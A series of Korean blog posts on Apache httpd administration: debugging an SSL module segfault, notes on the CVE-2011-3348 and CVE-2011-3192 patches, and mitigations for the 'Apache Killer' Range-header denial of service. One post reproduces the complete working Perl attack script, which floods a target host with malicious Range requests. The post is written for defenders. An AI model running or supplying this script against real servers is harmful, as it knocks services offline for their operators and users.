Http 요청이 웹서버에 들어오면 1111 root 권한으로 실행되는 httpd 데몬이 1112 라는 httpd로 요청을 전달시킵니다.

그래서, www 권한으로 동작하는 httpd 데몬에다가 시스템 콜을 확인하는 strace를 붙여서 프로세스가 어떤 일을 하는지 확인합니다.

 

strace 로 프로세스를 띄우고, openssl로 https 패킷을 날리면 다음의 결과를 얻게 됩니다.

 

# strace -p 1112
 
....
gettimeofday({1318989190, 741852}, NULL) = 0
writev(12, [{"HTTP/1.1 200 OK\r\nDate: Wed, 19 O"..., 289}, {"Total Accesses: 1\nTotal kBytes: "..., 396}], 2) = 685
gettimeofday({1318989190, 742236}, NULL) = 0
gettimeofday({1318989190, 742348}, NULL) = 0
write(15, "127.0.0.1 - - [19/Oct/2011:10:53"..., 128) = 128
gettimeofday({1318989190, 742594}, NULL) = 0
gettimeofday({1318989190, 742693}, NULL) = 0
times({tms_utime=0, tms_stime=0, tms_cutime=0, tms_cstime=0}) = -2134126829
gettimeofday({1318989190, 742955}, NULL) = 0
shutdown(12, 1 /* send */)              = 0
poll([{fd=12, events=POLLIN}], 1, 2000) = 1 ([{fd=12, revents=POLLIN|POLLHUP}])
read(12, "", 512)                       = 0
close(12)                               = 0
read(6, 0xbfbe39c7, 1)                  = -1 EAGAIN (Resource temporarily unavailable)
gettimeofday({1318989190, 743670}, NULL) = 0
semop(21954565, 0x5a9898, 1)            = 0
epoll_wait(8, {}, 2, 10000)             = 0
epoll_wait(8, {}, 2, 10000)             = 0
epoll_wait(8, {}, 2, 10000)             = 0
epoll_wait(8, {}, 2, 10000)             = 0
epoll_wait(8, {}, 2, 10000)             = 0
epoll_wait(8, {}, 2, 10000)             = 0
epoll_wait(8, {{EPOLLIN, {u32=137901384, u64=137901384}}}, 2, 10000) = 1
accept(5, {sa_family=AF_INET, sin_port=htons(51035), sin_addr=inet_addr("127.0.0.1")}, [16]) = 12
fcntl64(12, F_GETFD)                    = 0
fcntl64(12, F_SETFD, FD_CLOEXEC)        = 0
semop(21954565, 0x5a98a4, 1)            = 0
gettimeofday({1318989258, 992134}, NULL) = 0
getsockname(12, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("127.0.0.1")}, [16]) = 0
time(NULL)                              = 1318989258
fcntl64(12, F_GETFL)                    = 0x2 (flags O_RDWR)
fcntl64(12, F_SETFL, O_RDWR|O_NONBLOCK) = 0
gettimeofday({1318989258, 993069}, NULL) = 0
time(NULL)                              = 1318989258
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
chdir("/home/www/apps/httpd-2.2.21")    = 0
rt_sigaction(SIGSEGV, {SIG_DFL, [], SA_INTERRUPT}, {SIG_DFL, [], SA_RESETHAND}, 8) = 0
kill(1112, SIGSEGV)                     = 0
sigreturn()                             = ? (mask now [])
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
Process 1112 detached




 

httpd 데몬에서 중간에 read 콜 이후에 Resource temporarily unavailable 이 일어나고.
나중에는 SIGSEGV (Segmentation fault)가 발생하게 되었습니다. 마지막에는 www 프로세스가 종료되었음을 확인할 수 있었습니다. (kill(1112, SIGSEGV))


즉, 요청이 들어올 때마다 www 프로세스(apache worker)가 동작하다가 Segment fault가 발생한 것이었습니다.
그리고, ps 명령어를 이용해서 프로세스 확인을 하니. 새로운 프로세스가 떠져 있는 것을 확인했습니다.

 

# ps -ef | grep httpd
1111 root /usr/local/apache/bin/httpd
1114 www  /usr/local/apache/bin/httpd

 


 

아파치에 문제가 있는 것은 확인했습니다. 그 중의 어디서 문제가 있는지 확인을 해야 했습니다.

 

vhost.conf 설정 파일은 이런식으로 되어 있습니다.

먼저 회사에서 만든 특정 모듈을 읽고, mod_ssl을 읽는 구조로 되어 있습니다.

 


NameVirtualHost *:80
NameVirtualHost *:443
 
LoadModule session_auth_module modules/mod_auth.so
<IfModule mod_auth.c>
....
 </IfModule>
 
#SSL Module
LoadModule ssl_module modules/mod_ssl.so
 
<IfModule mod_ssl.c>
    SSLRandomSeed startup builtin
    SSLRandomSeed connect builtin
    Listen 443
    AddType application/x-x509-ca-cert .crt
    AddType application/x-pkcs7-crl    .crl
    SSLPassPhraseDialog  exec:conf/sslcert.pass
    SSLSessionCache         dbm:/usr/local/apache/logs/ssl_scache
    SSLSessionCacheTimeout  300
    SSLMutex  file:/usr/local/apache/logs/ssl_mutex
</IfModule>

<VirtualHost *:80>
..
</VirtualHost>
 
<VirtualHost *:443>
..
</VirtualHost>




좀 더 자세히 문제를 확인하기 위해서 httpd 데몬에 대해서 디버깅(gdb)를 하였습니다.


# gdb httpd
GNU gdb Fedora (6.8-27.el5)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb)  b ap_process_request
Breakpoint 1 at 0x80923f9: file http_request.c, line 276.
(gdb)
Note: breakpoint 1 also set at pc 0x80923f9.
Breakpoint 2 at 0x80923f9: file http_request.c, line 276.
(gdb) run -X -d /usr/local/apache
Starting program: /home/www/apps/httpd-2.2.21/bin/httpd -X -d /usr/local/apache
[Thread debugging using libthread_db enabled]
[New Thread 0xb7f85700 (LWP 8718)]
Detaching after fork from child process 8721.
Detaching after fork from child process 8722.
Detaching after fork from child process 8723.
Detaching after fork from child process 8724.
Detaching after fork from child process 8725.
Detaching after fork from child process 8726.
Detaching after fork from child process 8727.
Detaching after fork from child process 8728.
Detaching after fork from child process 8729.
Detaching after fork from child process 8730.
Detaching after fork from child process 8731.
Detaching after fork from child process 8732.
Detaching after fork from child process 8733.
Detaching after fork from child process 8734.
Detaching after fork from child process 8735.
(요청 날림, openssl s_client....)
Program received signal SIGSEGV, Segmentation fault.
0x003a91bd in ssl23_accept () from /lib/libssl.so.6
(gdb) bt
#0  0x001451bd in ssl23_accept () from /lib/libssl.so.6
#1  0x010c9341 in SSL_accept () from /usr/local/apache/modules/mod_auth-test.so
#2  0x00000000 in ?? ()
(gdb) n
Single stepping until exit from function ssl23_accept,
which has no line number information.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists
.



회사에서 만든 특정 모듈의 SSL_accept 메소드에서 문제가 되었음을 확인할 수 있었습니다.

 

담당자분께 확인하니 auth모듈에서는 자체적인 ssl 인증 모듈을 static linking해서 가지고 있다고 합니다.

즉, mod_ssl을 쓰지 않고 auth 모듈을 사용하는 웹 서버를 위해서 만들어 진 것인데요. 이 부분이 저희가 사용하고 있는 mod_ssl의 ssl 버전과 충돌이 난 것입니다. 그래서 segmentation fault가 난 것입니다.

먼저 auth을 읽었고, mod_ssl을 읽는 구조에서 mod_ssl을 읽고, auth을 읽는 구조로 변경했더니 무사하게 동작되었습니다.

Posted by 김용환 '김용환'

apache killer에 대한 버그 패치 (3192)에 대한 improved 버전(http://httpd.apache.org/security/CVE-2011-3192.txt)과 새로 발생된 3348 보안 패치에 대해서 apache httpd 쪽에서 패치를 내놓았다.

dos 공격시 문제를 줄인 버그라고 하니. 패치하는 게 좋을 것 같다.

https://www.redhat.com/security/data/cve/CVE-2011-3348.html
https://bugzilla.redhat.com/show_bug.cgi?id=736690
mod_proxy_ajp 모듈이 잘못된 HTTP requests이 요청이 왔을때 문제가 일어날 수 있다.

moderate: mod_proxy_ajp remote DoS CVE-2011-3348

A flaw was found when mod_proxy_ajp is used together with mod_proxy_balancer. Given a specific configuration, a remote attacker could send certain malformed HTTP requests, putting a backend server into an error state until the retry timeout expired. This could lead to a temporary denial of service.




Apache HTTP Server 2.2.21 Released 2011-09-13

The Apache HTTP Server Project is proud to announce the release of version 2.2.21 of the Apache HTTP Server ("httpd"). This version is principally a security and bugfix release. Notably, it resolves CVE-2011-3348 and provides further bug fixes to the resolution of CVE-2011-3192 (initially corrected in 2.2.20).

The current advisory for CVE-2011-3192 has been be revised at http://httpd.apache.org/security/CVE-2011-3192.txt and further updates for the community will be published to this url.

This version of httpd is a major release of the stable branch, and represents the best available version of Apache HTTP Server. New features include Smart Filtering, Improved Caching, AJP Proxy, Proxy Load Balancing, Graceful Shutdown support, Large File Support, the Event MPM, and refactored Authentication/Authorization.


3192에 대한 문제를 원천적으로 해결하기 위해서 이번 버전부터 MaxRange라는 지시자가 새로 생겼다.
최대값은 200이다.
(http://httpd.apache.org/docs/2.2/mod/core.html#maxranges)

MaxRanges Directive

Description: Number of ranges allowed before returning the complete resource
Syntax: MaxRanges default | unlimited | none | number-of-ranges
Default: MaxRanges 200
Context: server config, virtual host, directory
Status: Core
Module: core
Compatibility: Available in Apache HTTP Server 2.2.21 and later

The MaxRanges directive limits the number of HTTP ranges the server is willing to return to the client. If more ranges then permitted are requested, the complete resource is returned instead.

default
Limits the number of ranges to a compile-time default of 200.
none
Range headers are ignored.
unlimited
The server does not limit the number of ranges it is willing to satisfy.
number-of-ranges
A positive number representing the maximum number of ranges the server is willing to satisfy.

Posted by 김용환 '김용환'
TAG apache, httpd
(그 동안 입이 근질거렸는데, 패치가 나와서 이제야 쓴다.)

 8월 25일 나는 Apache Killer 라는 perl 스크립트에 대해서 처음 알게 되었다.

이런 제목으로 웹에서 둥둥 떠다녔다.
Range header DoS vulnerability Apache HTTPD 1.3/2.x \(CVE-2011-3192\)


소스를 찾아보니. 다음과 같았다.
(http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110820/848b4dca/attachment.obj)
#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
	print "Apache Remote Denial of Service (memory exhaustion)\n";
	print "by Kingcope\n";
	print "usage: perl killapache.pl <host> [numforks]\n";
	print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
	
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
	$p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next; 	
	
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
	print "host seems vuln\n";
	return 1;	
} else {
	return 0;	
}
}

if ($#ARGV < 0) {
	usage;
	exit;	
}

if ($#ARGV > 1) {
	$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
	print "Host does not seem vulnerable\n";
	exit;	
}
while(1) {
killapache();
}



Apache Http 버그질라에도 올라왔었다.
https://issues.apache.org/bugzilla/show_bug.cgi?id=51714




펄 스크립트에 있는 내용중 아래 부분을 집중해서 보면 된다.

더보기


즉, 클라이언트가 Range 헤더를 사용하고 HEAD 요청을 전송하면, Apache Http 서버는 이 것이 Http

이 스크립트는 mod_deflate을 이용해서 압축전송을 응답하는 Apache Http 서버에 자원을 먹어서 죽게 한다.



리눅스 서버에서 top을 이용해서 어떻게 리소스를 Apache http 서버가 문제가 되는지 확인하는 동영상이다.
(http://www.youtube.com/watch?v=fkCQZaVjBhA)


8월 25일에 공유되면서. 세계적으로 난리가 났다.
그동안 나는 구글에 "Apache Killer" 라고 치면서, 어떻게 대응하는지 지켜보고 있었다.

다행히 Apache Http 개발자가 3일안에으로 패치할 수 있을 것이라고 했다.

http://www.theregister.co.uk/2011/08/24/devastating_apache_vuln/
On Wednesday morning, Apache developers said they expect to release a patch in the next 96 hours


드디어 8월 30일 패치가 나왔다
http://httpd.apache.org/security/vulnerabilities_22.html

Fixed in Apache httpd 2.2.20
important: Range header remote DoS CVE-2011-3192

A flaw was found in the way the Apache HTTP Server handled Range HTTP headers. A remote attacker could use this flaw to cause httpd to use an excessive amount of memory and CPU time via HTTP requests with a specially-crafted Range header. This could be used in a denial of service attack.

Issue public: 20th August 2011
Update released: 30th August 2011
Affected: 2.2.19, 2.2.18, 2.2.17, 2.2.16, 2.2.15, 2.2.14, 2.2.13, 2.2.12, 2.2.11, 2.2.10, 2.2.9, 2.2.8, 2.2.6, 2.2.5, 2.2.4, 2.2.3, 2.2.2, 2.2.0


http://httpd.apache.org/download.cgi
Apache HTTP Server (httpd) 2.2.20 is the best available version 2011-08-30

The Apache HTTP Server Project is pleased to announce the release of Apache HTTP Server (httpd) version 2.2.20. This release represents fifteen years of innovation by the project, and is recommended over all previous releases!

For details see the Official Announcement and the CHANGES_2.2 or condensed CHANGES_2.2.20 lists

Add-in modules for Apache 2.0 are not compatible with Apache 2.2. If you are running third party add-in modules, you must obtain modules compiled or updated for Apache 2.2 from that third party, before you attempt to upgrade from these previous versions. Modules compiled for Apache 2.2 should continue to work for all 2.2.x releases.




* 해결방법

1. 최근 Apache Http 서버 2.20을 설치(업데이트)한다.
 http://archive.apache.org/dist/httpd/httpd-2.2.20.tar.gz
이게 가장 좋다.

2. Http의 Head 명령을 처음부터 받지 않도록 한다.
mod_security를 이용하면 GET, POST, DELETE 만 받을 수 있도록 하면 된다.
워낙 지저분한 command에 대해서는 미리 방지하는게 좋다.


만약 구버전을 계속 사용해야한다면.. 다르게 접근이 필요하다.

3. Apache Http 설정에 mod_gzip, mod_deflate를 쓰지 않는다.
이건 좀 아닌거 같다. 클라이언트 브라우져가 똥컴이면 고객 항의가 온다.
zipping은 선택이 아닌 필수이다.

4. range 정보에 대한 unset
side effect 가 있지 않을까? 서비스에서 side effect가 없다면 써도 무방
mod_header에서 다음과 같이 처리
SetEnvIf Range (,.*?){5,} bad-range=1
RequestHeader unset Range env=bad-range


* 필요 IDEA
수많은 포털과 웹 서버들이 http header를 보면 apache / ssl / mod_jk 버전을 그대로 노출하는 경우가 많다.
이런 정보만 가지면 충분히 마음먹고 공격할 수 있는데.. 최대한 버전정보와 web서버의 버전은 노출하지 않는 것이 좋다.


Posted by 김용환 '김용환'


아파치 Timeout에 대한 설명이 잘 나와 있음
http://yesyo.com/mintbbs/bbs/board.php?bo_table=linux&wr_id=208&page=7


Timeout 300

-The number of seconds before receives and sends time out.
-The TimeOut directive currently defines the amount of time Apache will wait for three things:
  1.The total amount of time it takes to receive a GET request.
  2.The amount of time between receipt of TCP packets on a POST or PUT request.
  3.The amount of time between ACKs on transmissions of TCP packets in responses.


Posted by 김용환 '김용환'